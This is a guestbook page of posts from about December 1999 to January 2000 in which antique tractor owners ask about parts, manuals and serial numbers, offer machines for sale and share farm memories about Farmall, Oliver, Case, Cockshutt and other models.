Dick Roberts wrote on Tuesday, January 18, 2000 (PST):I have 3 of I/H tractors with the I/H start on gas switch to diesel. A 1956 International 600, A 1956 Farmall 400 and a 1951 TD9 Track Tractor. I still use them on a reqular bases on my farm. There is nothing to compare to the sound of the governer response when under a varable load.
robert bobb wrote on Tuesday, January 18, 2000 (PST):i am looking for tune-up specs for a 1946 vac case tractor please send me some info on the tractor thank you very much
roberto rivero wrote on Tuesday, January 18, 2000 (PST): a friend of mine found a hart parr complete but engine stuck the tractor is a serie 32789 ( 18-36) are parts and manuals available. Thanks Roberto Rivero Uruguay South America
Hank Decker wrote on Tuesday, January 18, 2000 (PST):I have a 1948 Ford 8N which never ceases to amaze me in its performance beyond my expectations. I have acquired a loader which I was told can go on the front of the tractor, but it needs the hardware necessary to actually attach it to the front and rear axles. It looks to be a Deerborn model 19, but I don't know for certain. A brief description; a tube structure that seconds as the hydralic reservoir for the pump, which is drive off the front of the tractor. There are three holes in a bracket that do not line up with anything on the front of the tractor and the back part of the frame work (that part that would be closest to the driver's seat) has an open ended box-like structure with a hole on the inside of the box. The box would be open towards the ground when mounted on the tractor. Can someone tell me where I might get the hardware to affix the loader to the tractor? I was told I will have to remove the fenders of the tractor first if that helps. Thanks.
Brandon Jones wrote on Monday, January 17, 2000 (PST):I own a 300 Farmall, and all of the 300 model tractors that I have seen had a TA and my tractor does not and I was wandering if it is unusual to see a 300 without a TA?
JR Wilkening wrote on Monday, January 17, 2000 (PST):I am intersted in 830,R,Johndeers,would like to know of tractors for sale .
JR Wilkening wrote on Monday, January 17, 2000 (PST):I am interested in a 830,R,Johndeers, would like to know of tractors for sale.
sam vallaster wrote on Monday, January 17, 2000 (PST):I purchased a 2010 today/there is a grinding noise that comes from the transmission when in gear and also the pto when its engaged.Anybody had the same problems ? What was the fix ? Other than that looks like a real sweet little machine
tim schacht wrote on Monday, January 17, 2000 (PST):need carb. for pmedina ohio
David Ruozi, Sr. wrote on Monday, January 17, 2000 (PST):Hi, I have an oliver OC3-42, I guess its the as a HG you all reference to. Anyway the serial # is 7WH902. Do you Know what year it was manufactured from this #? It has a 5ft. blade and two buckets. It has a two way hydrulics and is a fine running machine, to bad they don't make'em anymore. Bye, D.R., Sr.
Russ Ferretto wrote on Sunday, January 16, 2000 (PST):Iam looking for a farmall O-12 If you can help me please contact me. I would like it to have full fenders if posabie Please call or E-mail. 775-575-6220 Thank you. Reno,NV. Russ.
Peter wrote on Sunday, January 16, 2000 (PST):I a have a 8N tractor for sale to settle an estate. I also have some antique horse drawn John Deere equipment, ( planter, breaking plow and grain drill)
Peter wrote on Sunday, January 16, 2000 (PST):I a have a 8N tractor for sale to settle an estate. I also have some antique horse drawn John Deere equipment, ( planter, breaking plow and grain drill)
Tracy Bodily wrote on Saturday, January 15, 2000 (PST):I have a 770 diesel and a 77 row crop, I will get the serial # & see if someone can help me find the model year. We live on a dairy farm & operate several tractors,the oldest being our Olivers, both were purchased by my father & grandfather. The 770 does its chores daily & we put a clutch in about every two years, recently we replaced the two speed clutches,it came standard w/ wide front end which i replaced w/ a narrow front about six years ago as it was completly wore out,this machine does not owe us anything to say the least, our 77 row crop has an f11 loader w/narrow front end and still runs great, we use it once in a while. These two machines are what i was raised on in my younger years & i will see that they get restored in the near future.I enjoy reading all the stories of these great machines, as i understand they were one of the first to have live pto & hydraulics .
Mike DS wrote on Saturday, January 15, 2000 (PST):Is the Peerless tractor built by the same company that built the classic automobile Peerless?
Mike DS wrote on Saturday, January 15, 2000 (PST):The "Plymouth" tractor was first built in 1934, the name was later changed to Silver King,in 1935. Walter Chrysler had just introduced his automobile Plymouth, in 1928 and was not to happy with a tractor with the same name,Altho it's not known whether the name change was forced upon them?? The Plymouth car was very good with hydraulic brakes for and economy car in the 1930's to bad the name is sceduled to be dropped from the Chrysler line in 2001 model year.The Plymouth tractor remains a very rare collectable tractor today, with the Silver King being more commonly found.
Tom Wellnitz wrote on Saturday, January 15, 2000 (PST):I also have a model CA it is a nice tractor asking $2750 can send a picture 501-474-8173 Tom
Tony procopio wrote on Saturday, January 15, 2000 (PST): I have recently restored a 35 f-12 and am in need of a pair of brake covers.If anyone has any, please write back.
Jim Radley wrote on Friday, January 14, 2000 (PST): I'm trying to locate the Farmall "M" that my Dad bought new in 1945 and I grew up with. It's a wide front, s/n FBK92932. It was last known to be somewhere in Lewis or Oneida county, New York in the mid 1960's. We have no record of it after that time. I would greatly appreciate any information on this tractor. I would like to purchase it in any condition to restore in memory of my Dad.
Jay R Johnston wrote on Friday, January 14, 2000 (PST):I have a 49 HG42 with a Ware loader/dozer blade under,not completly original. I removed basket seat and built a dozer seat with arm rest tool boxes.Also up graded dolly wheels,almost done.Changed over to 12volt because i use machine often. Have three sources of parts Zimmerman, Don Ellis,(Wendell,Ma.),and Ray Sansoucy (Worcester,Ma.).Ray has several hoods and grills.
greg moch wrote on Thursday, January 13, 2000 (PST):to mike shutt for engine parts and other items try central plains tractor parts out of sioux falls sd ph # 800-234-1968 they have a web sight-www.centralplains.com i did engine overhaul on my '40 A and all went well. they are a pretty good company frommy experience.
Roy Wilmoth Jr.(Butch) wrote on Thursday, January 13, 2000 (PST):If there is anyone in the panhandle of Nebraska,(I live in Chappell)that has a cockshutt or CoopE3 regardless of condition that would be interested in selling or trading,I would be very interested.I know very little about tractors but have rebuilt several old auto's.I recently saw my first Cockshutt and now I would really like to try a hand at bringing one back to life.I would enjoy any tractor in that time frame but the Cockshutt is my 1st.choice.I will answer any corrspondence i recieve,Thank you neighbors.
Butch Giesy wrote on Thursday, January 13, 2000 (PST):Just found this sight and enjoyed reading it. I do have a few comments about some of the information. The oliver red paint can be purchased at tractor supply here in Ohio.All of the 70 thru 88's were all the same red. the 77's have two reverses. 70's have one reverse.
Dick Evans wrote on Thursday, January 13, 2000 (PST):Ihave a relatively late model Cub. It was originally yellow and does not have the rounded hood. I use it for light dirt, mulch, and snow moving with the front mounted blade. I also have a five foot, belly-mount mower. I find that the tractor does not have to power to move well at all, especially up-grade with the mower on. Is that a universal complaint, or am I doing something wrong? My little John Deere garden tractor with a 44" deck can mow rings around it. It is still a fun machine for me, who never had a tractor before.
Keith A. McClure wrote on Thursday, January 13, 2000 (PST):I have all the decals and manuals for the Cockshutt & Coop tractors. The Cockshutt 30 was the first tractor with the famous live-power-take-off. I think the Cockshutt 40/E4 was the best tractor they built. I love talkin' Cockshutt. I also sell the new Cockshutt book as well as others.12331 CR 316, Big Prairie,Ohio 44611.
Keith A. McClure wrote on Thursday, January 13, 2000 (PST):If you need info or decals or manuals(original & reprints) please contact me for a complete list. I have 6 Cockshutt & Coop tractors, 20 deluxe, 30LPG, Coop E4 (single front wheel),Black Hawk 50 wheatland, 40 with 454 BBC, and a 30 with a 331 Hemi. 12331 CR 316 Big Prairie, Ohio 44611.
big man cockshutt wrote on Thursday, January 13, 2000 (PST):tractor looks nice but does not have red nosestrip, yellow wheelweights or yellow front hubs.
Donelle & John Kilburg wrote on Wednesday, January 12, 2000 (PST):We are looking for information about a Case 900 B from 1958, serial number 8129640. This tractor is in running condtion, we are looking for a price value or range. Also if you have any pictures that would be great too. If you also have any other web sities about this tractor or know of any, let us know. Thank you for your time. Donelle & John Kilburg
Stacy Johnson wrote on Wednesday, January 12, 2000 (PST):I have a Massey Harris Model 81. The tractor needs sheet-metal sides. Can anyone help me find some? I'm on my frinds computer, but you can contact me at 3297 60th ST Port Arthur,TX 77640 or (409)736-3347 Any information will be greatly appreciated!
Paul wrote on Wednesday, January 12, 2000 (PST):I have a 42 WC I'd like to place a general motors alternator in place of the generator HELP!
Tracy Stanko wrote on Wednesday, January 12, 2000 (PST):This 1066 is a really nice looking one.
Mike Daniel wrote on Tuesday, January 11, 2000 (PST):My maternal grandfather owned two 55's on LPG. He farmed rice in the Katy, TX for 60 years. He had a quirk about purchasing tractors, he always purchased in pairs and spread his business between the Case, IH and MH dealers. But he never owned any combines other than IH. My dad farmed with JD and his dad with MM.
Shawn Gordon wrote on Monday, January 10, 2000 (PST):I have a 1955 lo-boy seial # 2305 ,and I read on yesterdays tractors that there was a three point attachment for my single point fast hitch. I was wanting to know where I could find one? also looking for attachments!
Davis Farms wrote on Monday, January 10, 2000 (PST): On my farm in Tarboro N.C. I have two 1066's and three 1086' they are used everyday in my 2000 acre cotton farm. They are very reliable and will out pull any JD around.
Frans Hattingh wrote on Monday, January 10, 2000 (PST):My father own a Fordson Major whichs runs on kerosene. It has in running condition since God knows when and it still in frequent use. It is still stock standard (Orange cast wheels the works) although the electrics had to be replaced. But I need to find,as all the others above, the owners manualy for it. Please tell me where to find that
Robbie Gane wrote on Sunday, January 09, 2000 (PST):My family have a 1917 Avery tractor located in New Zealand, in original going order. This tractor is for sale, any genuine enquiries welcome.
james osborne wrote on Sunday, January 09, 2000 (PST):i have two avery tractors, (47, and 48) both A models, i would like to know there value, i have original plow and disc for the '47 it also has a PTO shaft, two front wheels (but is a trycicle), and a manual lift, the 48 has a hydrualic lift, i would like to know the value of these two tractors, and if anyone has parts for sale or information please Email me
Gilbert Braun wrote on Sunday, January 09, 2000 (PST):My dad andi restored a 1928 D In 1982 and it runs well.We have other John Deere two cylinder tractors and enjoy useing them around the farm. I use all John Deere tractors from an 8630 down to an A. Guys don't paint your pullys yellow it looks goddy.
Gilbert Braun wrote on Sunday, January 09, 2000 (PST):My dad andi restored a 1928 D In 1982 and it runs well.We have other John Deere two cylinder tractors and enjoy useing them around the farm. I use all John Deere tractors from an 8630 down to an A. Guys don't paint your pullys yellow it looks goddy.
Danny wrote on Sunday, January 09, 2000 (PST):I have a 1950 Cub With 1 year old Woods 42"Belly more, Cultavaters, Grader blade, Turning plow, and Disk. The tractor runs grate And has power lift that works good. I reworked the PTO it has Good Rubber. It only needs painting and I have a manual and the new stickers for the tractor. It has been converted over to 12 volt system and will start verry fast. I want to sell $3,000.00 or best offer. I am in Hartselle Al.
Chad Prissel wrote on Sunday, January 09, 2000 (PST):The Super 44's are a very sharp looking tractor. The 440's are also a nice tractor. I would be very interested in purchasing one. Feel free to contact me about your experiences or of any info of one that I may be able to purchase for my collection.
J.R. BENNETT wrote on Sunday, January 09, 2000 (PST): After finding the D17 picture, I just had to write and put my two cents in...we have one D17, two D19's and one 190. My wife used to never want to drive the D17, but she loved the 190. After getting her to bail hay with a D17, she perfers it over any of the others. We have three kids, and all three children love to drive the 190. But I have to say my farvorite is the D19. If anyone can help me locate a sickle drive gearbox for a Model 904 AC conditioner I sure would appreciate it. Thanks. E-Mail me at BENNETTCLAN at WEBTV.NET
richard wrote on Sunday, January 09, 2000 (PST):Will someone please e-mail me specs or pics of any W4 McCormick tractors. I have a 1951 and any information related to that year would be great. Also,I'll be glad to provide you with any information that I might have too. Thanks, richard
Paul wrote on Sunday, January 09, 2000 (PST):STEVE, On the rotor drive pinion there is a molded line and on the rotor there is a mark 180 degrees from the rotor contact.Line them up and you should be ok. If not e-mail me and I'll tell you how to time the engine.
Paul wrote on Sunday, January 09, 2000 (PST):STEVE, On the rotor drive pinion there is a molded line and on the rotor there is a mark 180 degrees from the rotor contact.Line them up and you should be ok. If not e-mail me and I'll tell you how to time the engine.
Charly Center wrote on Sunday, January 09, 2000 (PST):I have a 9n and would like to have a set of tracks for the old gal. Does anybody have a set for sale or know were i might be able to purchace a set?
Charly Center wrote on Sunday, January 09, 2000 (PST):I have a 9n and would like to have a set of tracks for the old gal. Does anybody have a set for sale or know were i might be able to purchace a set?
Gene Webber wrote on Sunday, January 09, 2000 (PST):I have an OC3 with Oliver loader and am working on restoration. The engine has been rebuilt and now the govenor is not working right. I would like comments from any one with info. or parts for this machine, or one to look at any where near N.H.
Scott Schanus wrote on Sunday, January 09, 2000 (PST):I'am looking for the tailight under the seat on Allis Chalmers "C" tractor. Want one complete. Will pay reason price for one.
James H Borders Sr. wrote on Sunday, January 09, 2000 (PST):It is Sunday Jan. 7 and I just entered my tractors in the photo gallery so now every one can see them and enjoy them as much as I do . Thanks and keep on looking for that old iron .
steve streissguth wrote on Sunday, January 09, 2000 (PST):I made a mistake! I pulled the rotor out without marking it's position. I have not turned the motor over. Does anyone know of an easy way of putting it back in the correct position?
Gerald Beauchamp wrote on Sunday, January 09, 2000 (PST):Just bought a Cub Lo boy and would like to know the year it was built. The seial number is 6867. Also interested in buying attachments, if anyone out there has any.
John Morey wrote on Saturday, January 08, 2000 (PST):My Dad and I rebuilt a John Deere L 25 years ago. I used that tractor seven more years and then sold it to a neighbor down the road. From that day on, I watched it go down the drain.It pains me to see such a good piece of equipment go to ruins.Having a family of 4 and an ex-wife, I am trying to save enough money to buy it back and rebuild it again.The lady that has it thinks that she can make it run;"I Don't Think So Tim"!If I keep asking about it, maybe she'll let it go for nothing.
james wrote on Saturday, January 08, 2000 (PST):hey guys my fordson tractor manual says the tractor is blue and the wheels are red. this could be an orange that was a production red that has faded to an orange hue. as we all know red will fade in the sun. we initially painted ours red today they are orange!!!!!!
BRAD AUSTIN wrote on Friday, January 07, 2000 (PST):I am in the process of restoring one of these tractors. I would be interested in getting some more fotos and any other related info. It seems that every body knows about the super 99 GM's, but information on the 99 is not easily available.
Henry wrote on Friday, January 07, 2000 (PST):I recently purchased a 1945 VAI from my father-in-law. He bought the tractor in 1975 and used it to run an orchard sprayer and "buzzsaw". He ran the buzzsaw first with the belt and later with the PTO. I got the gear driven belt sheave with the tractor, it appears to have a hydraulic pump behind the sheave, is this correct. I would like to be able to use a mower and a rear blade with it, but alas, no 3-point hitch. Is there a 3-point set-up that anyone knows of? I just ordered manuals (parts, operators, service) from my local Case dealer. It seems that they can still get a lot of parts. Any info that can be provided me on the VAI would be greatly appreciated.
Stacy Rohan wrote on Friday, January 07, 2000 (PST):A friend has just purchased a 1939 H. All the manuals that we can find say the serial number should be below the Magneto, however, on this tractor the serial number is behind the flywheel. Has anyone ever heard of this? Thank you, Stacy Rohan
G Ball wrote on Friday, January 07, 2000 (PST):Own a Super 44, 1957, got it from my Father. Looked more like a John Deere at that time, but am proud to say it looks rather like the picture posted at this time. Runs good, has a belly mower, use it every summer, good tractor.
Roy wrote on Friday, January 07, 2000 (PST):Where could I get one of the 50's to restore and use on 40 acres in the middle of the mitten of Michigan? I love the sound of a Cockshutt.
Shane Wetherell wrote on Friday, January 07, 2000 (PST):80's are great. We have the whole collection 40-70 but are lacking an 80. A nice one can run anywhere from 6 to 8 thousand. I think they are a great workhorse. Just like to hear them run the baker fan.
gene madden wrote on Friday, January 07, 2000 (PST):need capacity information for oliver 70 transmission and differential.
Barret Stephenson wrote on Friday, January 07, 2000 (PST):I have a B model tractor the three wheel type but don't know much about them and would like to know more. My FFA class restores tractors and I would like to Know more about mine. thanks,Barret
Lewis Drewery wrote on Thursday, January 06, 2000 (PST):I have ford 8Ns for sale and I am also looking to buy tractors running or not
John Sweatt wrote on Thursday, January 06, 2000 (PST):I am currantly in the process of restoring a F30, year unknown, but it has rear steal wheels, front rubber. Are these tractors worth anything? Why is there not much information about them anywhere,and are they rare?
Ray Peterson wrote on Thursday, January 06, 2000 (PST):This looks a lot like the 47 B that my dad bought new after the war. I was particularly interested with the pressed steel wheels, which were not common on B's that I have seen. Our wheels were mounted backward to this (dish in), and ours had a two wheel front end.
Shawn Fairchild wrote on Wednesday, January 05, 2000 (PST):please note my e-mail address has changed. We still have "Bull Moose", it's interesting about the yellow paint. Does anyone know if this was common ? We are investigating installing power steering, otherwise it's a great tractor! Ive never seen a 49'r.
Paul wrote on Wednesday, January 05, 2000 (PST):I have a '45 "A" in decent shape. It has the lights option and the adjustable-width front-end. I recently re-wired it and everything electrical works fine. When I turn the lights switch fully counter-clockwise, the ammeter reads "0", as if it isn't charging. But if I turn the switch one notch clockwise, no lights go on but the ammeter reads a charge. Is this normal operation? Also, the adjustable front-end seems to be stuck. I removed the pins and loosened the breckets, but I can't get it to move. I'm afraid to bang too hard in the wrong place to free it up. Any suggestions?
Adam Huhn wrote on Wednesday, January 05, 2000 (PST):I am curently in posetion of a oliver 66 deisel wide front tractor and In the past 4 years of ownership have learned a great deal about it. The tractor my father and I purchased had a super series frame under it and because of the serial number we belive it to be one of the last tractors. with a shortage of frames oliver bolted a super frame to it which would also explane the wide front and deisel engine. If your tractor has a super frame for the same reason I would like to hear about it.
Adam Huhn wrote on Wednesday, January 05, 2000 (PST):Through the many actions literature and other sources of information I learned that 775 of the oliver super 44 were built and 750 of the oliver 440 were built and when restored can bring up to 6500 in the michigan area
Jason Pohlmann wrote on Tuesday, January 04, 2000 (PST):I recently restored a '43 H. With it i got a 2 row planter and cultivator. I've been told the planter may be a No.999 or No.290 and the cultivator is an H-200 series. Does anyone have any idea if these are the correct #'s. Does anyone have any pictures of how they are mounted if so e-mail them to me. Also looking for a norrow front JD H toy tractor. I was told the two-cylinder club had them a few yrs ago. Thanks, jason
Darrell Wuensch wrote on Tuesday, January 04, 2000 (PST):I looking at a D17 to buy and wondering if anyone knows what model year if any did the D17 have a low pressure high volume hydraulic system. Thanks.
Scott Pahos wrote on Tuesday, January 04, 2000 (PST):I have a 1949 Farmall Cub.Spent many hours in the garage reconditioning this tractor. Wife says it is time for a new project. Will sell for $3200.00 or offer.I do have a 5 foot sickle mower and rear wheel weights for the tractor.Thanks!
John Uthoff wrote on Tuesday, January 04, 2000 (PST):I have a 340 utility and I need basicly the whole 2pt assembly for the back, would anyone have any idea on where I can get one?
teddy c. wrote on Monday, January 03, 2000 (PST):i am 38, since i was a kid i return to my uncle farm in Home.Pa. every summer now with my own two kids, it is the closest place to heaven i know. i have loved and respected farm tractors every since. this wc is just like the one he used to have when we used to make hay. unfortunately it is rusting away in the back field. it reminds me of old times. happy new year to all you AC owner, i wish i had one, only model scaled down.. ted
Murray Weinger wrote on Monday, January 03, 2000 (PST):Am looking for a picture of what the logo on the inside fender looked like on the above 1913 Little Bull tractor. My father in-law is restoring one of these and needs to have the logo painted on the fender. Thanks for any help, Murray.
c. kiczek wrote on Monday, January 03, 2000 (PST):wanted allis chalmers 160 any condition. thanks CHRIS
Bill wrote on Monday, January 03, 2000 (PST):I have a ford 4000 SOS 1970 Model and the tractor works good except it goes foward when the inching pedal is depressed or in neutral. I have not found out why the pressure all check good. People have told me this is normal for these transmission, I find that hard to believe because if this tractor did this when new Ford would have never sold any. I make it hard to hook up implements. Any information out there or do I have to live with this problem. The tractor shifts through all gears and seems to work fine otherwise.
john hoover wrote on Sunday, January 02, 2000 (PST): The 720 diesel has got to be one of the best row crop tractors of all time! If you don't think so give one a try. I have had the privilage of growing up on a farm in the 70's and 80's with a late '58 720D row crop. This tractor is a wide front, pony start work horse. My 720's flywheel came loose in about '93 and my dad left it parked for several years. In '97 my dad told me that if I could get the tractor running I could have it. The 720 was soon hauled across the state to my small farm where I now live. I installed a taper-lock flywheel and rewired the tractor to get it to run. But, as they say that is only part of the story I could talk about this tractor for hours. I dont know why the pony engines always seem to get a bad rap, my pony engine works good and it is still on six volts. I guess there aren't many people out there who love to here a two cylinder Deere started with the little pony ; but I sure do. Most people of my generation have never heard a 720D pulling a one-way sunk to the spools or turning a mixer-mill but boy, have they missed out. All the green blooded boys from where I come from will tell you that a two cylinder diesel says dawnk-dawnk-dawnk not pop-pop-pop like the gassers do. Thanks for the great picture and website.
Al Marzian wrote on Sunday, January 02, 2000 (PST):Is this a Super MD? It is on my mail route. It has been there for years. Maybe someone can rescue it and do a restoration on it. I am not sure who owns it. E-mail me and I will try to find the owner if you are interested. I think it belongs to an elderly lady in Paris, Kentucky. www.angelfire.com/ky/alfredowork/images/tractor
he should know wrote on Sunday, January 02, 2000 (PST):the tractor pictured is a 22/36. the air cleaner gives it away and the 2 fuel tanks are presennt. it has the side curtains ,but the manifold has been converted so the exaust exits through the top. the rubber tires have been converted from steel.
L. M. Page wrote on Sunday, January 02, 2000 (PST):I own a 1949 Farmall Cub tractor, with a sickle bar mower attached underneath, for cutting my lawn and other grass and weeds around the farm. The tractor proves its usefulness year after year. However, I want and need a repair manual for my Cub tractor. If anyone has one, who's not using it, please let me know. THANKS SO MUCH!!!!
Steve Shrum wrote on Saturday, January 01, 2000 (PST):Have been restoring a 1937 Farmall F-20.Need help with fan pulley assembly.Does anyone know if there is a spacer that goes in between the two roller bearings inside the fan pulley. The shaft that the two roller bearings slide on to shows a slight groove mark and then it has a space and then another groove mark for the other roller bearing. If any one knows the proper assembly I would apreciate some help THANKS
Daryl Snell wrote on Saturday, January 01, 2000 (PST):I have recently purchased a Farmall H and am restoring it. I am not sure what year it was made SER#145024x. Also am trying to figure out if that model came with push-button starter on the steering post. Great Tractor.
Michael McCloy wrote on Saturday, January 01, 2000 (PST):i am 9 years old and i have a w12 of my own. my dad, grandad and i have recently restored it. i took it to the winchester tractor show, and cause i didn't have a license my mum drove it in the parade for me.
Jay A. Van Horn wrote on Saturday, January 01, 2000 (PST):I am looking for the steering gear and worm gear for a WD Allis Chalmers tractor. Also fenders for the same tractor. It is a narrow front end.
mad wrote on Friday, December 31, 1999 (PST):i have a 1948 vac case purchased from the original owner. this tractor came with original front and rear cultivators. the original owner bragged that the tractor had only been rained on once while it was hooked to a stationary peanut picker!!
matt wrote on Friday, December 31, 1999 (PST):We own a 57 330 utility IH that I use on a daily basis.We bought the tractor at an auction for $2000,with snow plow,3furrow plow, sickle mower,cultivator and front end loader.So far we are working 6 acres on our 37 acre farm. My problem is I would like to change the 6 volt system to a 12 volt. I've been told I could put a delco alternator on with a built in regulator but I am worried about the 6 volt starter. Will It get damaged? Should I change anything else?
Ron wrote on Thursday, December 30, 1999 (PST):To Darrell Faryna. I know what you mean about the "sweetest sounding 6 cylinder diesel". I believe that is because of the lower RPM and high torque. They were and are great tractors. My favorite of all time is the 930 Comfort King.
Kenny Christopherson wrote on Thursday, December 30, 1999 (PST):I have a Farmall M with a Farmhand loader,it is a trip bucket.My grandpa got this tractor for free around 1981,it was in a bad storm and the muffler got knocked off by a fallen tree,and a bunch of water got into the engine and froze it solid.All my granpa did was pour some Kerosene into the engine and it started up and ran like a top.He died in 1993.I am 13 and this tractor is one of three I own.I was wondering if anyone could help me get it running right,it boggs out,and sometimes it is stuck at a high throttle position.Will i need to take of the carb,or the cylinder heads?
in the know wrote on Thursday, December 30, 1999 (PST):Joey, There is no such thing as a "6 volt resistor". Resistors are measured in "ohms". When you convert from 6 volt to 12 volt on your electrical system the only place you need to install a resistor is in the wire to the coil if you retain your 6 volt coil and to your lights if you don't change them to 12 volt units. Phil, The W-9 was not "about the same rating as an F-30". The W-9 had considerably higher HP.
David Hutchins wrote on Wednesday, December 29, 1999 (PST):I have a Gas 17& a Diesel,as well as original Allis shop manuals.Pretty good at getting Diesels easier to start and tech data on old Rosa-Master inj. pumps.Will help any way I can.
George Wiltshire wrote on Wednesday, December 29, 1999 (PST):I have a 1937 F-20 which my father bought new. As a boy & young man I used it quite often on our farm in Virginia. It was slow but could out pull the newer tractors well into the 50's. Sadly it has fallen into disrepair and I am now offering it for parts or retoration. If interested please contact me.
John wrote on Wednesday, December 29, 1999 (PST):I'm looking at buying a Ford Super Dexta but don't know a lot about this model. Can you give me some information regarding price range (this model seems to be in good working order), horse power (3 cyl. diesel main and pto), any pros or cons to purchasing this model as a working tractor? Also, it seems to be leaking oil just behind the engine. Is this normal for this tractor? Thanks John
Jeremiah Ponder wrote on Tuesday, December 28, 1999 (PST):please e-mail me if you know the correct oil weight, for the transmission rear end and hydraulic for a 1950 wd
Drew Moore wrote on Tuesday, December 28, 1999 (PST):Hi,I am 12 years old. I love toy tractors. I collect john deer, newholland, ford, and international tractors and john deer trucks and trailers. I also like old tractors and equipment. I have about 100 tractors, trucks and trailers. If anyone could tell me how much some are worth, please TELL me. If anyone could send me a tractor, truck and trailer value book.
Jeremiah Ponder wrote on Monday, December 27, 1999 (PST):My dad omnes a farmall cub with Hydralics. We restored it last year and the hydraulic box was leaking we have went into it twice and replaced the boots, if you know how to stop the leak or have tips then please e-mail me
Jeremiah wrote on Monday, December 27, 1999 (PST):I am looking for a B model tractor to buy and restore. If you Know of one around e- mail me. Perferably a tricycle front end
Jeremiah wrote on Monday, December 27, 1999 (PST):My dad owns a 1950 WD. Please e-mail me if you know whare a 3-point hitch or culivators are. We are restoring it, and we would appriciate tips also
Ianick Saulnier wrote on Monday, December 27, 1999 (PST):At our farm we had until last fall a 1066 black stripe with cab,since then I miss that tractor so much. Now the 695 has replace our 1066 but it's not the power of a 6 cylinder engine. Whenever the 1066 was face to face with a chalenge, he would always come through. If you have a 1066 do not sell it for nothing at all. The money you will get can not replace this piece of the Farmall legacy. Ianick Saulnier
Mr. Elliott wrote on Monday, December 27, 1999 (PST):I spent many hours on a "super 55" years ago. My father had one in mint condition which we used every day on a southwestern minnesota cattle/crop farm. The tractor had a front end loader with a hydraulic bucket. The hydraulic pump run off the front pto shaft of the tactor. The tractor moved snow and cleaned feed floors every day in the winter and pulled a 24T John Deere bailer over three cuttings of alfalfa and one cutting of straw every summer. Its good to see there are still some up and running!
Len Gustafson wrote on Monday, December 27, 1999 (PST):I have an Allis Chalmers tractor. The only #'s I can find on it are located by the stick shift, right hand side. It says "Tractor # B8 607" I thought it was a 1947, but it is identical to the picture of the tractor above. It is a crank start -- it has no electric start. Can anyone help me figure out the year of the tractor and what it is worht?
Harold Warner wrote on Monday, December 27, 1999 (PST):Does anyone know if there is a pick-up tube attached to the bottom of the hydralic pump (located under the seat) to the transmission on the model B allis chalmbers (1939 to 1941) any help would be appreciated as this is still a working tractor.
Bruce wrote on Sunday, December 26, 1999 (PST):I wish I could remember all the details; somebody out there will, but Twin city tractors were one of the forerunners of Minneapolis-moline. Twin City threshing machine co, Minneapolis threshing machine co, Moline plow works, and a few others joined about 1930 0r 31 to try to weather the depression. They were able to survive in some form for another 40 years....
Bruce wrote on Sunday, December 26, 1999 (PST):Chas Wendell published a history of IH, and I think its still available from stemgas publishing. I have a regular, unrestored, on rubber. I don'y know the year, because the tag is gone. I'd appreciate help dating it, if possible. It isn't the early 1923-24-25 style, but doesn't have the latest style governor. Does that make it 1926-1930? probably so. I'd appreciate comments from any other regular owners out there, especially if you have any detailed knowledge of these interesting old tractors.
Dwayne Bauersachs wrote on Sunday, December 26, 1999 (PST):I own a 500, 900, SI, SC, 1070 Black Knight, 400, & many more. I antique pull with the 900. I also tractor pull with one of my 1070 tractors. I've been the points winner 2 years in a row in the Il Hot Farm Stock Pullers Assoc. My family collects lots of Case items. I know a lot of information about tractor pulling with a Case. Does anyone have any Case wrenches?
SC "Bill" Nichols wrote on Sunday, December 26, 1999 (PST):I was regional territory manager for Oliver from 1947 to 1977 after it had become White Farm Equipment. I also have many fond memories of the Oliver 70, we sold a lot of them. It was one of the first mass produced tractors that had electric starters and lights.
Jack Wondergem wrote on Sunday, December 26, 1999 (PST):My book says, a UTS was built from 1948 to 1955. Then it was UTSDM built from 1955 to 1958.
Dean Englund wrote on Sunday, December 26, 1999 (PST):Very nice tractor!I'm looking for a set of fenders for 1936 #2-c0-0p any info email me THANK YOU DEAN MINN.
James Hamptonay wrote on Sunday, December 26, 1999 (PST):i have a pony tractor and i tow hay wagons round the farm with my Dad when hes baling. My tractor used to be my brother Marks and we've had it for 10 years. I am 9 years old and my Dad has vintage tractors too
Neal Stockheimer wrote on Saturday, December 25, 1999 (PST):I have a 1931 gp that I am restoring and i need rings valve guydes valves head gasket intake and exzost manafold gaskets and packing for flywheel and drive poley can some one help me and shopor repair manuals for ' specks'on it .it was my grand fathers . help please! papabear1000 at AOL.COM THANK YOU;-)
Laurie McCloy wrote on Saturday, December 25, 1999 (PST):ihave a farmall A, 1947, i tow a 2 furrow internationalplow. i have wanted a farmall all my life and have finally got one in my sixties. They're a great wee tractor
Jim Honebrink wrote on Saturday, December 25, 1999 (PST):My Grampa had a WD-45 with a wide front-end and a diesel engine in it. I'm not sure what year it was. I used to haul hay-wagons and oats and beans and unload manure with it all the time while I was growing up, man that was a fun tractor to drive. Then my Grampa had it totally redone, new paint job, decals, tires, the whole nine-yards. But instead of having the diesel engine redone, he swapped it for a gasoline engine. It never really was the same after that. Unfortunately the tractor was lost in a fire that destroyed the machine shed it was kept in.
Richard McClain wrote on Saturday, December 25, 1999 (PST): Ihave a 1953 S-H that my dad bought. It has everything orignial except for 12 volt system. Has never been torn down and has only second tire on left rear. If someone wants to see a great tractor they should see this one.
Mark Lively wrote on Saturday, December 25, 1999 (PST):I am looking for pictures and side curtains for an Oliver 88 row crop 58 year tractor. Can you help for direct me in the right direction. Thanks for your time.
Aaron Norris wrote on Saturday, December 25, 1999 (PST): Coy Norris, my grandpa, owns an Oliver 550 with a hydrolic side mower, that my neighbor bought from the North Carolina State Department Maintenance, along with another Oliver 550 that did not work and put them together to make a tractor that worked realy good. My grandpa uses it to feed his cows. I am now old enough to drive it on my own. When I am out of school, I drive the tractor with a round bale of hay on the back while my grandpa rakes it of with a pich fork. This is the most fun part of being out of school.
Charles Carlisle wilm . N.C. wrote on Friday, December 24, 1999 (PST):to all M T lovers. I am proud to tell you that my 1949 M T won the eastern north carolina antique tractor pullers championship for 1999. in the 2700 lb class. I also Have a 1952 M T . I am looking for a 1950 and a 1951 merry christmas
Ron J. wrote on Friday, December 24, 1999 (PST):Have OC-6 Oliver.Engine SN/1024311. I'm trying to find tractor SN as SN tag is missing. Hoping someone could back track from engine number to find SN number. Also need sheetmetal,rollers,trackpins and bushings. Think this machine is between 1950-54 possibly a little older. I'm enjoying this project and any help would be greatly appreciated!
JON EMMICK wrote on Friday, December 24, 1999 (PST):I have recently aquired a 48 case vac . I am new to the tractor field and would like restoration info and implement information .the tractor came with a cable/hydraulic operated plow but i need info on what type of mower or field mower i could use with this setup.
